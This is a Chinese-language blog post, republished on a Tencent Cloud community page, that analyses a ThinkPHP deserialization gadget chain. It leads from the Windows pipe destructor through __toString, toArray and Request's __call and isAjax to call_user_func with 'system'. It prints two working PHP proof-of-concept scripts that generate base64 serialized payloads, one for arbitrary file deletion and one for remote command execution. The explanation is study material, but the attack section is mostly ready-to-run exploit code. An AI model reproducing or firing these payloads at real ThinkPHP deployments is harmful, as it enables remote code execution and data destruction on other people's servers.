前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP反序列化链构造

ThinkPHP反序列化链构造

作者头像
ly0n
发布2020-11-04 11:34:43
8630
发布2020-11-04 11:34:43
举报
文章被收录于专栏:ly0nly0n

预备知识

反序列化相关知识,了解魔法函数。

反序列化的常见入手点

destruct()、wakeup()、__tostring()–当一个对象被反序列化后又被当作字符串使用时会触发 __toString方法。

反序列化常用跳板

__toString 当一个对象被当做字符串使用 __get 读取不可访问或不存在属性时被调用 __set 当给不可访问或不存在属性赋值时被调用 __isset 对不可访问或不存在的属性调用isset()或empty()时被调用

反序列化常见终点

__call 调用不可访问或不存在的方法时被调用 call_user_func 任意代码执行点 call_user_func_array 任意代码执行点

POC利用链构造分析

当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然 会被调用。这里也会以destruct为入口,所以我们在全局模式下搜索destruct()

跟踪removeFiles;

我们的files是可控的,我们可以通过这个利用点来造成任意文件删除,源码本身是不存在利用点的, 所以我们要想利用这个漏洞,我们就必须自己构造利用点

然后构造poc链

代码语言:javascript
复制
<?php
namespace think\process\pipes;
class Pipes{
    
}
class Windows extends Pipes {
    private $files = [];
    public function __construct()
    {
        $this->files=['删除文件路径'];
    }
}
echo base64_encode(serialize(new Windows()));
?>

这里可以自行测试我们在removeFiles看到了file_exists方法,它会将传入的参数作为字符串处理,会去调用toString方法,所以我们可以在全局下搜索toString跟进到thinkphp/library/think/model/concern/Conversion.php的toString方法跟踪toJson(),发现调用了__toArray方法,主要是将该对象转成JSON字符串,然后继续跟踪到__toArray()方法中我们需要在toArray中找到一个满足可控变量->方法(name为空进入elseif,让this->relation默认为空,而name肯定不存在this->Relation键值中,因此getRelation方法返回值为空,然后去调用getAttr()方法跟踪到thinkphp/library/think/model/concern/Attribute.php

在476行去调用了getData方法,接着跟进getData方法

通过上面的分析我们可以知道name不能为空,所以只能去执行第一个elseif的语句,this->data可控name为其键值。综上分析,toArray方法193行的relation可控为this->data[name为this->append[

认真观察Conversion、Attribute类,发现定义为trait:trait是一种为类似PHP 的单继承语言而准备的 代码复用机制。我们需要找到一个子类同时继承了Attribute类和Conversion类。

但是我们可以看到model类被定义为抽象类,无法进行实例化。又从头整理了一下,理了理思绪,我们现在可控的变量有files data append实例化Pivot类完成下述调用链:file_exists(new Pivot)->Model->Conversion、Attribute->_toString->toJson->toArray->getAttr->

也就是说我们并没有找到可以利用的代码执行点。 此时我们发现我们没有办法去利用visible方法,所以我们要利用到call方法,当调用一个不可访问 的方法(如未定义,或者不可见时), __call()就会被调用,所以我们就要找一个包含call方法,但不存 在visible方法的类

method为不存在的方法名visible ,this->hook为类属性可控,可以进入第一个if分支,在下面的代码中我们看到调用了array_unshift方法,array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头,这样一来就造成了call_user_function_array没办法顺利的执行任意命令,但是可以调用任意方法。我们可以去搜索一下call_user_func方法发现在filterValue内存在call_user_func的方法,但是这里的values是不可控的,我们要寻找可以控制的value,所以我们去查找看还有哪些方法调用了FilterValue,看到input方法调用但是此时的

然后看到在948行的this->get(),也就是name还是对象不可控。然后我们找含有param的方法,继续向上追溯看到了isAjax()方法,里面有一个this->config,是完全可控的

this->config[‘var_ajax’]可控就意味着param函数中的name可控就意味着input函数中的name可控,这一部分的利用链_call()->isAjax()->param()->input()->filterValue()

从上面所分析的来看,下面图是整个的POC链构造的流程图

需要注意的点是我们需要自行构造利用点

然后生成payload,进行攻击,可以看到成功执行并打开记事本

POC构造代码

代码语言:javascript
复制
<?php
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["aa"=>["ww","ww"]];
        $this->data = ["aa"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-09-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 预备知识
    • 反序列化的常见入手点
      • 反序列化常用跳板
        • 反序列化常见终点
        • POC利用链构造分析
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档